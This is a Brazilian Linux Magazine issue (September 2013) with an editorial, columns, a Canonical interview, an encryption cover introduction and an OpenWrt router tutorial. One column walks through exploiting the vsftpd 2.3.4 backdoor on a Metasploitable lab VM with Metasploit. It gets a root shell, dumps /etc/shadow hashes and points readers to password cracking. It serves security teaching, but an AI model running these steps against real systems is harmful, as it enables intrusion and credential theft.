AUGUSTO CAMPOS P.10
O curioso caso
do Truecrypt
MADDOG P.23
Concurso para melhoria
do desempenho do kernel
CEZAR TAURION P.26
Cientista de Dados: o
profissional de Big Data
MEDIALINX
# 106 Setembro 2013
A REVISTA DO PROFISSIONAL DE TI
Segurança
EM TEMPOS ONDE OS SEGREDOS QUE VOCÊ CONFIA AO
SEU EMAIL E AOS SEUS SISTEMAS LOCAIS NÃO SÃO TÃO
SECRETOS ASSIM, TODO CUIDADO É POUCO P.32
ENTREVISTA p.23
Entrevistamos Richard Collins, gerente
de produtos da Canonical, que contou
as novidades do Ubuntu para Android
» Bate-papo seguro e criptografado P.34
» Novos padrões de segurança para SSL/TLS P.37
» ZFS criptografado com Ubuntu P.42
» Certificados pessoais auto-assinados P.47
» MFT: Nova opção para transporte seguro de arquivos P.51
VEJA TAMBÉM NESTA EDIÇÃO:
» Monitoramento de sistemas com a ferramenta iftop P.54
» Gerenciamento de configuração com Puppet P.57
» Transforme um simples roteador em um servidor com OpenWrt P.60
» Use o processador para assumir a tarefa dos cálculos 3D P.72
UBUNTU TOUCH P.67
Desenvolva aplicativos e
transforme seu dispositivo móvel
ANDROID P.69
Melhore a qualidade
de som do seu Android
SEGURANÇA P.76
Container chroot para
execução de programas perigosos
00106
9 771806 942009
WWW.LINUXMAGAZINE.COM.BR
#10609/13
R$14,90
€ 7,50
Expediente editorial
Diretor Geral
Rafael Peregrino da Silva
[email protected]
Editores
Flávia Jobstraibizer
[email protected]
Laura Loenert Lopes
[email protected]
Editor de Arte
Hunter Lucas Fonseca
[email protected]
Colaboradores
Alessandro de Oliveira Faria, Antonio Pádua,
Bernhard Bablok, Kristian Kissling, Hanno Böck,
Paul C. Brown, Dan Frost, Charly Kühnast, Frank
Hofmann, Robert Korherr, Heike Jurzik, Lars
Kotthoff, Kurt Seifried, Zack Brown, Jon “maddog”
Hall, Alexandre Borges, Cezar Taurion, Gilberto
Magalhães, Klaus Knopper, Augusto Campos.
Tradução
Laura Loenert Lopes
Revisão
Flávia Jobstraibizer
Editores internacionais
Uli Bantle, Andreas Bohle, Jens-Christoph Brendel,
Hans-Georg Eßer, Markus Feilner, Oliver Frommel,
Marcel Hilzinger, Mathias Huber, Anika Kehrer,
Kristian Kißling, Jan Kleinert, Daniel Kottmair,
Thomas Leichtenstern, Jörg Luther, Nils Magnus.
Anúncios:
Rafael Peregrino da Silva (Brasil)
[email protected]
Tel.: +55 (0)11 3675-2600
Penny Wilby (Reino Unido e Irlanda)
[email protected]
Amy Phalen (América do Norte)
[email protected]
Hubert Wiest (Outros países)
[email protected]
Diretor de operações
Claudio Bazzoli
[email protected]
Na Internet:
www.linuxmagazine.com.br – Brasil
www.linux-magazin.de – Alemanha
www.linux-magazine.com – Portal Mundial
www.linuxmagazine.com.au – Austrália
www.linux-magazine.es – Espanha
www.linux-magazine.pl – Polônia
www.linux-magazine.co.uk – Reino Unido
www.linuxpromagazine.com – América do Norte
Apesar de todos os cuidados possíveis terem sido tomados
durante a produção desta revista, a editora não é responsável por eventuais imprecisões nela contidas ou por consequências que advenham de seu uso. A utilização de qualquer
material da revista ocorre por conta e risco do leitor.
Nenhum material pode ser reproduzido em qualquer meio,
em parte ou no todo, sem permissão expressa da editora.
Assume-se que qualquer correspondência recebida, tal
como cartas, emails, faxes, fotografias, artigos e desenhos,
sejam fornecidos para publicação ou licenciamento a
terceiros de forma mundial não-exclusiva pela Linux New
Media do Brasil, a menos que explicitamente indicado.
Linux é uma marca registrada de Linus Torvalds.
Linux Magazine é publicada mensalmente por:
Linux New Media do Brasil Editora Ltda.
Rua São Bento, 500
Conj. 802 – Sé
01010-001 – São Paulo – SP – Brasil
Tel.: +55 (0)11 3675-2600
Direitos Autorais e Marcas Registradas © 2004 - 2013:
Linux New Media do Brasil Editora Ltda.
Impressão e Acabamento: EGB
Atendimento Assinante
www.linuxnewmedia.com.br/atendimento
São Paulo: +55 (0)11 3675-2600
Rio de Janeiro: +55 (0)21 3512 0888
Belo Horizonte: +55 (0)31 3516 1280
ISSN 1806-9428
Impresso no Brasil
Linux Magazine #106 | Setembro de 2013
Editorial
Final de campeonato
Durante a LinuxCon Europe, evento da Linux Foundation que ocorreu em
Edimburgo, Escócia, nos dias 24 e 25 de outubro, Linus Torvalds emitiu uma
daquelas suas declarações que tem potencial para se espalhar como fogo
em mato seco: “O SteamOS pode realmente ajudar o Linux no desktop.” O
SteamOS é um sistema operacional gratuito baseado em Linux construído ao
redor do Steam, o mais popular serviço de distribuição de jogos do mundo.
O sistema operacional foi criado pela Valve Corporation, empresa americana de desenvolvimento e distribuição de videogames fundada em 1996 por
dois ex-funcionários da Microsoft, para uso nas chamadas “Steam Boxes”, PCs
projetados para o uso na sala de estar.
O fato de a Valve estar apostando no Linux como base para levar seus
jogos a gamers no mundo inteiro é com certeza uma boa notícia: pouco
depois de o SteamOS ter sido anunciado, tanto a AMD quanto a Nvidia
anunciaram melhor suporte a seus drivers para Linux. Além disso, a API
multiplataforma para acesso direto ao hardware da placa de vídeo de codinome Mantle, recém anunciada pela AMD, uma concorrente direta ao DirectX e à OpenGL, vai permitir a todas as distribuições Linux aproveitar ao
máximo os recursos de adaptadores gráficos compatíveis com esse padrão.
Torvalds acredita que a iniciativa da Valve pode ajudar na padronização dos
ambientes de trabalho usados em estações Linux, atualmente uma “casa
dividida”, com vários projetos indo em diferentes direções (KDE, Gnome,
Gnome Classic, Unity, LXDE, Xfce, Mate etc.). Na opinião dele, o SteamOS
poderia servir como referência para todos os outros ambientes desktop, já
que todos eles querem que seus usuários sejam capazes de jogar os games
distribuídos via Steam em suas plataformas.
O raciocínio do criador do kernel Linux é muito razoável, especialmente se levarmos em conta a área de trabalho de estações Linux tradicionais, mas que deve
paulatinamente ceder espaço para ambientes mais modernos – basicamente
tablets, via de regra equipados com Android (ele próprio um sistema operacional baseado no kernel Linux), que podem ser ligados a monitores ou televisores, usando teclados ou controladores de jogo (com ou sem fio). Esses sistemas
também podem acabar tirando proveito das melhorias realizadas nos drivers das
placas de vídeo, ganhando mais desempenho, estabilidade e baixo consumo.
Em resumo, o desktop Linux do futuro já chegou: está na grande maioria dos
tablets em nossas mãos. A próxima fase deverá ampliar o uso da plataforma
do pinguim no desktop legado, especialmente aqueles voltados para gamers.
Isso também deverá facilitar a vida dos usuários corporativos de desktops e
notebooks, além de garantir uma vida útil maior da bateria de todo tipo de
equipamento portátil (notebooks, tablets, smartphones, consoles de jogos
portáteis, dispositivos GPS e qualquer outro tipo de gadget). Nos encaminhamos assim para o final desse campeonato. Um pinguim com uma medalha de
ouro no peito não está tão longe, qualquer que seja a modalidade do jogo. E
em tempos de Edward Snowden, essa vitória final é muito bem-vinda.
Rafael Peregrino da Silva
Diretor de Redação
3
INDICE
CAPA
Segredos bem guardados 32
Em tempos onde os segredos que você confia ao seu email e aos
seus sitemas locais não são tão secretos assim, todo cuidado é pouco.
Bate-papo seguro 34
Jitsi é um programa de bate-papo versátil.
O programa Java pode lidar com todos os protocolos populares
de mensagens instantâneas e até mesmo telefonia de vídeo por IP.
Novos padrões 37
Numerosos ataques abalaram a segurança da criptografia SSL/
TLS nos últimos anos. Novos padrões poderiam remediar a
situação, mas ainda não são amplamente utilizados.
ZFS criptografado com Ubuntu Neste artigo, mostraremos como usar a
criptografia de disco do Linux para instalar o
Ubuntu em um disco criptografado com ZFS.
42
Do lado seguro
47
Klaus Knopper ensina uma forma simples de usar certificados
pessoais auto-assinados e criptografia digital.
Transporte seguro
51
Apesar do FTP ainda fazer um bom serviço, se o usuário precisa enviar dados
sensíveis, deve considerar a opção pela transferência de arquivos gerenciados.
4
www.linuxmagazine.com.br
Linux Magazine xxx | ÍNDICE
COLUNAS CORPORATE
07
Coluna: Jon “maddog” Hall23
Alexandre Borges08
Coluna Antonio Pádua24
Augusto Campos 10
Coluna: Cezar Taurion26
Charly Kühnast
Kurt Seifried
11
Klaus Knopper
14
Zack Brown
17
Notícias 22
Entrevista: Richard Collins28
Notícias30
➧ Raspberry Pi pode ser fabricado no Brasil
➧ Empresas aumentam uso Linux para reduzir custos
➧ Corretagem na nuvem é tendência
para 2014
´
ANALISE
➧ Google lança Coder, projeto de código
livre para Raspberry Pi
REDES
Tubo gráfico
72
A ideia é simples: se o driver da placa gráfica não oferece gráficos 3D,
Tráfego assistido
54
O iftop é uma ferramenta de linha de comando para monitoramento
de sistema que pode ajudar a identificar os problemas de largura
de banda (bandwidth hogs) e manter o movimento de tráfego.
uma ajuda especial delegaria todos os cálculos 3D ao processador
principal. Neste artigo, explicamos como fazer esse trabalho..
TUTORIAL
Manutenção automatizada
SEGURANÇA
57
Se o usuário deseja que apenas suas tardes pertençam
ao trabalho, não precisa depender de gerenciamento
de configuração. Mas é necessário perder a hora extra
apenas para configurar um sistema de servidor?
Prisão privada
76
Virtualizar é bom, mas às vezes pode ser um exagero,
se tudo o que o usuário quiser fazer for executar um
Servidor de1 watt
programa que poderia representar uma ameaça ao sistema.
60
O chroot jails oferece uma alternativa leve, rápida e bem testada.
Aprenda como instalar e configurar este novo
sistema operacional em seu dispositivo Android.
Desenvolvimento para Ubuntu Touch
67
Aprenda a desenvolver aplicativos para o Ubuntu Touch e
torne seu dispositivo móvel em um computador Linux de bolso!
ANDROID
Aperte o play!
Os melhores aplicativos de música e truques para
melhorar a qualidade de som do seu Android.
69
SERVIÇOS
Editorial03
Emails06
Linux.local78
Preview Linux Magazine #106 | Setembro de 2013
82
5
Coluna do Alexandre
Metasploit – parte 6
Na coluna deste mês, aprenda como a efetivar um ataque bem sucedido
com Metasploit através de uma vulnerabilidade já conhecida.
por Alexandre Borges
N
este mês, sem muita demora, vamos utilizar
o Metasploit de forma mais incisiva. Em nosso ambiente, podemos utilizar o ambiente
de desenvolvimento já instalado no Ubuntu (para
o qual foi mostrado o procedimento de instalação
na coluna anterior) ou ainda o Kali Linux [1], uma
máquina própria para este tipo de teste (com Metasploitable 2 – [2]) com endereço IP 192.168.1.105 e
um Windows XP SP2 com endereço IP 192.168.1.106.
Realizando o escananeamento destas máquinas
com Nessus ou OpenVAS, obtemos um número
significativo de vulnerabilidades e, quem sabe, boa
parte delas exploráveis. Por exemplo, escaneando
a máquina Metasploitable2, descobre-se uma vulnerabilidade crítica chamada “vsftpd Smiley Face
Backdoor” [3] e com esta informação poderemos
realizar uma exploração de modo bastante direto. Digite msfconsole para obter acesso ao console
do Metasploit e procure por um exploit para esta
vulnerabilidade em específico:
msf> search 73573
Matching Modules
================
Name
Disclosure Date
Rank
Description
––––––
––––-exploit/unix/ftp/vsftpd_234_backdoor 2011-0703 00:00:00 UTC excellent VSFTPD
v2.3.4 Backdoor
Command Execution
Para saber mais sobre este exploit, proceda da seguinte forma:
msf exploit(vsftpd_234_
backdoor) > info exploit/
unix/ftp/
vsftpd_234_backdoor
Selecione este exploit para uso e verificamos suas opções:
msf> use exploit/unix/ftp/vsftpd_234_backdoor msf
exploit(vsftpd_234_backdoor) > show options
Module options (exploit/unix ftp/vsftpd_234_
backdoor): Name Current
Setting Required Description
–- ––––– ––-- –––-RHOST
yes
The target address
RPORT 21
yes
The target port
Exploit target:
Id Name
-- –0 Automatic
Como o leitor pode notar, a máquina remota (a
ser explorada) não está especificada com seu endereço IP e, além disso, o único tipo de alvo disponível é “Automatic” o que facilita a nossa vida, ou
seja, o Metasploit determina automaticamente o
tipo do sistema operacional:
msf exploit(vsftpd_234_backdoor) > set RHOST
192.168.1.105
RHOST => 192.168.1.105
msf exploit(vsftpd_234_backdoor) > set TARGET 0
TARGET => 0
É necessário escolher o payload (código, backdoor,
trojan etc.) a ser enviado para a máquina alvo uma
vez ela tenha sido explorada. Este passo é essencial
já que o payload nos permite, muitas vezes, acesso
remoto à máquina explorada (por exemplo, se estivéssemos executando um comando Netcat sendo
executado em modo de escuta). Portanto devemos
executar o comando:
msf exploit(vsftpd_234_backdoor) > show payloads
Compatible Payloads
===================
Name
Disclosure
Date
Rank
Description
–––––– ––––-cmd/unix/interact
normal
Unix Command, Interact with Established Connection
para obter mais informações sobre o payload, selecioná-lo para ser enviado para a máquina sob ataque
e ainda verificar quais são suas opções disponíveis
(neste caso, não haverá nenhuma opção):
8
www.linuxmagazine.com.br
msf exploit(vsftpd_234_backdoor) > info cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > set payload cmd/
unix/interact payload => cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
–- ––––– ––-- –––-RHOST 192.168.1.105
yes
The target address
RPORT 21
yes
The target port
Payload options (cmd/unix/interact):
Name Current Setting Required Description
–- ––––– ––-- –––-Exploit target:
Id Name
-- –0 Automatic
FInalmente, somente nos resta realizar o ataque
propriamente dito:
msf exploit(vsftpd_234_backdoor) > exploit
[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 3 opened
(192.168.1.107:55485 -> 192.168.1.105:6200) at
2013-09-15 18:56:55 -0300
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr
10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./
DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD
9l0:14742:0:99999:7:::
Mais informações
[1] Kali Linux: http://www.kali.org/
[2] Metasploitable 2: http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
[3] Vulnerabilidade vsftpd Smiley Face Backdoor: http://osvdb.org/73573
[4] Como quebrar senhas: http://alexandreborges.
org/2013/08/05/introduction-to-password-cracking-part-1/
Linux Magazine #XX | Mês de 200X
Nunca foi tão fácil! Quer quebrar
a senha? Use o John the Ripper [4].
Até o mês que vem. n
Alexandre Borges (linkedin: br.linkedin.com/in/aleborges) é instrutor e especialista sênior em sistemas operacionais Unix, Linux, Banco de Dados, Virtualização,
Cluster, Storage, Servidores, Backup, Desempenho e Segurança, além de possuir profundo envolvimento com
assuntos relacionados ao kernel Linux.
9
Coluna do Augusto
O curioso caso do Truecrypt
Uma útil e excelente ferramenta de criptografia de disco, continua
enfrentando problemas em seu licenciamento.
por Augusto Campos
O
Truecrypt é um utilitário de criptografia de
disco popular na plataforma Windows, e disponível também para Linux e Mac OS X. Ele
cria um disco criptografado em uma partição, um
disco inteiro (incluindo dispositivos removíveis) ou
mesmo em uma unidade virtual mapeada a partir de
um arquivo comum.
Ele se diferencia de outras soluções por oferecer mecanismos que permitem buscar e manter
escondida a própria existência de um volume
criptografado e por oferecer diversas técnicas de
aceleração para permitir gravar e acessar os dados
com velocidades que se aproximam do uso dos
mesmos dispositivos sem criptografia (dependendo da aplicação, claro). Alem disso, ele consegue
criptografar até mesmo o disco onde está instalado
o sistema operacional – na plataforma Windows,
onde isso não é tão comum.
O código-fonte do Truecrypt está disponível,
mas os seus termos de licenciamento são um dos
aspectos que o tornam um caso curioso: por mais
que ofereça as condições fundamentais de permisão de
uso, estudo, modificação e
redistribuição, a licença do
TrueCrypt inclui algumas
restrições sui generis (por
exemplo, proíbe o uso e redistribuição do software a
quem não compreender a
íntegra da licença) que até
hoje a impedem de ser
considerada free software ou open source
(a última avaliação a
respeito foi em outubro de 2013), e
faz com que várias
10
distribuições Linux não incluam o Truecrypt em
seus pacotes oficiais.
Outra questão que aumenta o status de curiosidade é que o executável distribuído pelos autores
para uso em Windows tem algumas diferenças visíveis nas estruturas de dados, em relação a outras
plataformas, o que já despertou suspeitas de que
ele armazene e “vaze” chaves de seus usuários.
Essas suspeitas se ampliam porque até recentemente
ninguém conseguia gerar um executável igual ao oficial, partindo do código-fonte oficial, o que ampliava
as teorias de que havia uma backdoor no executável
para Windows. No final de outubro, entretanto, um
usuário empreendedor publicou seu passo-a-passo
para chegar a um executável igual ao original, partindo
dos fontes oficiais. A receita é complexa, e envolve até
mesmo usar uma versão de 1994 do compilador C++
– mencionado na documentação, mas aparentemente ninguém acreditava que ela estivesse atualizada.
E para completar o status de curiosidade do
TrueCrypt: ninguém sabe quem são seus autores.
Eles assinam o código apenas coletivamente, com
nomes que variam: hoje é TrueCrypt Foundation,
mas já foi TrueCrypt Developers Association, e outros nomes menos cotados. Para atividades que exigem registro, eles variam estados e países, desde
Nevada, nos EUA, até a República Tcheca.
E se você pensa que o importante é o código
estar disponível, pense de novo: é difícil auditar
código de criptografia, e exemplos de inclusão de
backdoors no código-fonte, mantendo-as difíceis
de detectar, não faltam. Não creio ser o caso, mas
também não descarto a possibilidade, a princípio.
Por enquanto, no mínimo, trato o TrueCrypt como...
um caso curioso. n
Augusto César Campos administrador de TI e, desde 1996, mantém o site BR-linux.org,
que cobre a cena do Software Livre no Brasil e no mundo.
www.linuxmagazine.com.br
Entrevista
Do desktop para
o smartphone
Richard Collins, gerente de produtos da Canonical,
oferece uma prévia do Ubuntu para Android.
por Kristian Kissling
Linux Magazine » Qual o projeto
do momento para Ubuntu?
Richard Collins » Sou responsável
pelo Ubuntu para Android. Também
tenho trabalhado nos projetos do tablet Ubuntu e Ubuntu Phone.
LM » Já existe um Android: é
livre, baseado em Linux e já está
estabelecido no mercado de
smartphones. Porque deveríamos
escolher o Ubuntu?
RC » O Ubuntu para Android é uma
solução que trabalha em conjunto com
o Android. O Android é um sistema
operacional muito bem sucedido, que
proporciona uma excelente experiência
de telefonia móvel; no entanto, o Android só é verdadeiramente relevante
como um sistema operacional para
smartphone. Os serviços e experiências que funcionam bem no Android
só são projetados e otimizados para
um contexto móvel. Para smartphones
mais recentes que possuem a capacidade de oferecer uma experiência de
desktop, com aplicativos e uma interface de usuário quando conectados a
um monitor através de uma conexão
HDMI, acreditamos que os usuários
desejem a capacidade total de um
sistema que é projetado para desktop
e queiram utilizar os serviços que funcionam exatamente da mesma maneira como usariam em seus laptops. O
28
Ubuntu é um sistema operacional de
desktop bem estabelecido, compreendido e usado; por isso, o Android não
pode entregar uma experiência de
desktop do mesmo nível que o Ubuntu.
LM » Você planeja instalar o Ubuntu em smartphones “dual core” como
desktops adicionais. E quanto à segurança? Como você pretende proteger
dados privados, por exemplo, em caso
de perda ou roubo do smartphone?
RC » O sistema de segurança inerente ao Ubuntu não é afetado. O sistema operacional do Ubuntu funciona
de forma completamente nativa no
hardware e não há acesso ao sistema
Ubuntu a partir de qualquer serviço
móvel Android. A solução Ubuntu para
Android permitirá aos usuários fazer
backup e salvar dados pessoais no
serviço de nuvem Ubuntu One, e esta
é uma maneira de manter os dados
pessoais separados do dispositivo, da
mesma maneira que qualquer outro
tipo de dispositivo que poderia estar
em risco de ser perdido ou roubado,
como um laptop.
Qualquer serviço específico de proteção de telefone é melhor gerenciado a partir do sistema Android – por
exemplo, bloquear e excluir dados
remotamente – e desativar o telefone
dessa maneira também irá proteger
o usuário de ter seus dados pessoais
ou sensíveis comprometidos.
Do ponto de vista da empresa, se
o dispositivo está sendo usado para
conexão remota, há muitas soluções
de segurança que a implementam
na camada do aplicativo, e uma vez
que já provaram funcionar muito
bem para o Ubuntu em laptops,
devem funcionar também para o
Ubuntu em smartphones.
LM » O pessoal da Engadget
testou o Ubuntu para Android, e
achou o sistema bastante lento.
Qual hardware você espera ser
executado no Ubuntu?
RC » A entrevista com a Engadget foi baseada em um protótipo
utilizando o Motorola Atrix 2. A Canonical desenvolveu este protótipo
de forma independente, por isso o
desempenho ficou limitado às capacidades inerentes ao hardware.
Existe uma série de possibilidades
para melhorar o desempenho do
produto e desde então temos otimizado o sistema para executa-lo
de forma mais eficiente. Mas o mais
importante, ao desenvolvermos a
solução Ubuntu para Android em
conjunto com um fabricante de
hardware, é que o fabricante terá
www.linuxmagazine.com.br
a oportunidade de propor novas
otimizações e desempenho.
LM » Você já encontrou parceiros oficiais de hardware para cooperarem com o projeto? Quando
será possível adquirir o dispositivo?
RC » As discussões ainda estão
em andamento e esperamos anunciar a disponibilidade do produto
dentro em breve.
LM » Há mais fornecedores planejando comercializar dispositivos
que possam lidar com o dual boot
Android e Ubuntu?
RC » Para ser mais preciso, a solução Ubuntu é baseada no uso do
kernel Linux para executar dois sistemas operacionais ao mesmo tempo.
Existem determinados requisitos de
hardware necessários para suportar
o Ubuntu para Android, como CPU
multicore, e vemos que todos os
principais fabricantes de celulares
que baseiam seus sistemas em arquiteturas ARM estão em processo
de anunciar aparelhos de ponta com
capacidades de CPU multicore.
LM » Será que este projeto também
visa colocar o Ubuntu em smartphones Android habituais, ou o foco está
apenas nos dispositivos “dual boot”?
RC » A estratégia está focada em
permitir que smartphones de ponta
possam executar o Android.
LM » O código estará disponível
para os usuários utilizarem em
seus dispositivos?
RC » Não temos planos imediatos de liberar o código para que os
usuários o instalem em seus próprios
aparelhos, pois isso requer um conhecimento técnico muito específico, e a gama de aparelhos capazes
de suportar Ubuntu para Android
ainda é muito pequena. Tornar o
código disponível para download
de forma independente não serviria
a qualquer propósito real, uma vez
que é extremamente difícil executar
a versão atual do software em um
dispositivo sem o suporte adequado
do fabricante do hardware.
LM » Quantos membros da comunidade Ubuntu estão envolvidos
no projeto atualmente?
RC » Dado que o projeto está em fase
de desenvolvimento, ainda é um projeto interno da Canonical nesta fase. Isto
porque o tipo de trabalho está focado
em atender diretamente aos fabricantes de celulares; no entanto, à medida
que conseguirmos mais sucesso com
o produto e ele seja implementado de
forma mais ampla, como um produto
de consumo, surgirão oportunidades
de trabalhar em estreita colaboração
com a comunidade. n
Gostou do artigo?
Queremos ouvir sua opinião.
Fale conosco em:
[email protected]
Este artigo no nosso site:
http://lnm.com.br/article/8938
2
!
e
1
I
P
L
o
ã
ç
a
Livros
c
i
f
i
para Cert
A Linux Magazine oferece estas edições revisadas
e ampliadas dos livros que te preparam para
as Certificações LPIC-1 e 2, com as seguintes
novidades:
• Exercícios em todos os tópicos
• Todo conteúdo ampliado para a nova versão
da prova, atualizada em agosto/2012.
Garanta já os seus pelo site da Linux Magazine
www.linuxmagazine.com.br
Linux Magazine #XX | Mês de 200X
29
Capa
Segredos bem guardados
Em tempos onde os segredos que você confia ao seu email
e aos seus sistemas locais não são tão secretos assim, todo cuidado é pouco.
por Flávia Jobstraibizer
S
egredos já são coisas difíceis
de se confiar a alguém (vide
a frase do filme ConAir: “Eu
só confio em dois homens neste
mundo, um sou eu e o outro não
é você.”), imagine então se os confiamos à sistemas e somos pegos
totalmente desprevenidos ao saber
que nossas conversas, arquivos e
dados foram surrupiados (ou lidos
sem permissão) por sabe-se lá quem
em qualquer parte do mundo.
Pois é o que frequentemente
vem sendo trazido à tona pela
nova “geração Snowden”: profissionais que detinham em seu poder informações confidenciais das
mais diversas e que decidiram em
algum momento trazê-las à tona.
Entre os membros dessa geração
podemos citar WikiLeaks, o grupo
Anonymous e outros ciberativistas.
É sabido que temos de manter certo nível de proteção aos dados que
armazenamos em nossos bancos de
dados, sistemas e servidores e que,
mesmo assim, esses dados podem
32
ser coletados em algum momento
(lidos através de sniffers, copiados
por invasores ou sob outras formas).
Mas talvez, tornar esses dados ilegíveis ou então muito difíceis de
serem decifrados seja um caminho
para evitar o roubo de informações.
Nesta edição da Linux Magazine
vamos falar sobre criptografia, esse velho assunto já conhecido atualmente
até mesmo por leigos em informática
por figurar na lista dos dez principais
assuntos da atualidade (talvez depois
do lançamento do game GTA V.
Você vai aprender nas próximas
páginas como criar um sistema de
arquivos ZFS criptografado, evitando assim que eventuais informações
roubadas sejam lidas facilmente
pelo invasor (e consequentemente
distribuídas). Também vai aprender
como gravar conversas telefônicas
através dos protocolos Jabber
e SIP com o aplicativo Jitsi e como
enviar arquivos de grande porte
com uma camada adicional de criptografia deixando de lado o velho
FTP e adotando o novo protocolo
MFT (Managed File Transfer).
Ainda nesta edição, não perca o
artigo que irá ensinar a criar e utilizar
assinaturas digitais e criptografia com
SSL e para finalizar, saiba como resolver problemas com a encriptação de
dados do protocolo TLS (antigo SSL).
As próximas páginas podem auxiliá-lo a evitar diversos problemas
se você é alguém que possui (ou trabalha em uma empresa que possui)
informações sigilosas armazenadas
e não quer vê-las sendo exibidas por
aí por algum popular ciberativista da
atualidade.
Boa leitura! n
Matérias de capa
Bate-papo seguro
34
Novos padrões 41
ZFS criptografado com Ubuntu 34
Do lado seguro
Transporte seguro 47
51
www.linuxmagazine.com.br
Tutorial
Servidor de
1 watt
Neste artigo, mostraremos como usar o OpenWrt para
liberar o roteador TL-MR3020 do firmware proprietário
e convertê-lo em um servidor conjunto para uma
rede doméstica.
por Bernhard Bablok
A
TP-Link [1] fabrica roteadores em várias classes de
desempenho. O TL-MR3020
(figura 1) é comercializado pelo
fabricante como um roteador
móvel, porque é pequeno e leve.
No entanto, ele não suporta 3G
(quadro 1), embora seja possível
atualizá-lo através da porta USB.
Assim, o roteador é destinado a
pessoas que não precisam de 3G
ou possuem um dispositivo de
conexão UMTS e, portanto, não
desejam investir em um roteador
móvel UMTS caro. No entanto, o
uso “normal” do roteador não é o
foco deste artigo; em vez disso,
descreveremos como convertêlo em um mini servidor.
Para fazer isso, substituiremos o
firmware existente pelo OpenWrt
[2], uma distribuição Linux especial
para microdispositivos. O OpenWrt
contempla um sistema de gerenciamento de pacotes que não é de
forma alguma inferior ao das distribuições clássicas; assim, apenas
as limitações do hardware poderão
conter a criatividade do usuário.
o sistema) do aparelho. Por
outro lado, o fabricante não
impõe obstáculos na instalação de firmware de terceiros.
Para começar, baixe a versão
correta do OpenWrt [3] e siga
as breves (porém suficientes)
instruções que vêm com o roteador
para conectar-se à interface web do
dispositivo. Quando chegar lá, faça
o upload do novo firmware para o
TL-MR3020, selecionando Upgrade
no formulário web (figura 2).
Fazer o upload do firmware é o único passo realmente crítico de todo o
processo. Assim, antes de carregar a
imagem, é essencial verificar as postagens na wiki do OpenWrt [3] e se-
guir as instruções
adequadas. Depois de instalá-lo,
o próximo passo
é a configuração
básica, particularmente para a rede.
Em seguida será necessário configurar uma série de pacotes
de software que atualizam o suporte
USB para meios de dados (do tipo
pendrives ou discos rígidos).
Esta etapa permite fazer o boot
do roteador a partir de um disco externo. No sistema de arquivos raiz,
agora estendido, o usuário adiciona
mais pacotes de software do repositório OpenWrt para o aplicativo real.
O equipamento
O TL-MR3020 é bastante adequado para este fim, por duas razões:
por um lado, custa 30 euros (ou 40
dólares americanos) – o que não é
muito, se acontecer do usuário “bricar” (danificar permanentemente
60
Figura 1 O TL-MR3020 da TP-Link (à esquerda) não é maior do que
a palma da mão do usuário. O mini hub USB de Pearl (direita) atua
como um expansor.
www.linuxmagazine.com.br
Listagem 1:
/etc/config/network
01 # /etc/config/network
‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑
02
03 config interface 'loopback'
04 option ifname 'lo'
05 option proto 'static'
06 option ipaddr '127.0.0.1'
07 option netmask '255.0.0.0'
08
09 config interface 'wifi'
10 option proto 'static'
11 option ipaddr '192.168.3.100'
12 option netmask '255.255.255.0'
13 option gateway '192.168.3.1'
14 list dns '192.168.3.1'
15 list dns '8.8.8.8'
Figura 2 O OpenWrt é carregado como uma atualização de firmware
através da interface web original no TL-MR3020.
Primeiro contato
Após a atualização do firmware e
reboot do dispositivo, podemos conectar o PC ou laptop ao roteador
com o uso de um cabo. Configure a
rede (normalmente podemos usar
o gerenciador de rede para isso) e
faça o login via Telnet em 192.168.1.1
Figura 3 Feito: O primeiro login no OpenWrt.
Linux Magazine #106 | Setembro de 2013
(figura 3). O roteador executa um servidor DHCP que fornece um endereço adequado para o PC ou laptop.
Neste ponto, devemos definir
uma senha para o root. O OpenWrt,
então, desliga o servidor Telnet
por razões de segurança e inicia o
servidor SSH. Em seguida, ajuste a
configuração de rede para que o
roteador esteja na rede doméstica;
siga em frente e adicione mais software. Para mais informações sobre o
sistema de configuração OpenWrt,
veja o quadro 2.
Para usar o roteador como um
servidor na rede doméstica, a configuração de rede deve se parecer
com a listagem 1 (/etc/config/network)
e listagem 2 (/etc/config/wireless). As
linhas 9-15 na listagem 1 configuram
a interface WLAN. Na listagem 2, a
linha 19 garante que o servidor esteja
integrado à rede como um cliente
de WLAN e não como um ponto de
acesso ou roteador.
Após o reboot, o dispositivo deve
ser encontrado no endereço de rede
configurado. Se não, o modo de
emergência pode ajudar: durante o
processo de boot, pressione o botão
WPS tão logo comece a piscar. Se o
LED piscar rapidamente, ligue-o novamente. Agora o dispositivo estará
61
Figura 4 Usando a interface web no OpenWrt para recuperar o estado do sistema.
no modo Failsafe com o endereço
padrão 192.168.1.1 e executando o
daemon Telnet. Podemos nos conectar ao Telnet e fazer as correções
necessárias. No entanto, nenhum
servidor DHCP está disponível no
roteador neste modo. Devemos
atribuir um endereço IP ao próprio
computador manualmente.
Mais software
A imagem do firmware original não
contém todos os componentes necessários para o funcionamento
do sistema de arquivos raiz em um
pendrive USB, assim, teremos que
adicioná-los agora. Após concluir com
sucesso a configuração de rede, o
mini roteador pode acessar a Internet
e usar o sistema de gerenciamento
de pacotes conveniente para instalar
software adicional retroativamente.
O ponto crucial é o comando opkg,
que precisamos executar como root.
Para fazer isso, primeiro chame opkg
update para atualizar a lista de pacotes.
Em seguida, instale os pacotes especificados usando o seguinte comando:
# opkg install <pacote>
Quadro 1: Hardware
O TL-MR3020 é uma pequena caixa de plástico branca (figura 1) medindo 7,4 x 6,7
x 2,2 centímetros e pesando apenas 60 gramas. Um conector USB mini é usado
para a fonte de alimentação e o adaptador AC oferecido fornece 1 watt. Além
disso, o roteador também funciona sem problemas em uma porta USB. Além disso, o TL-MR3020 inclui uma porta USB 2.0 e uma porta Ethernet RJ45 (100Mbps).
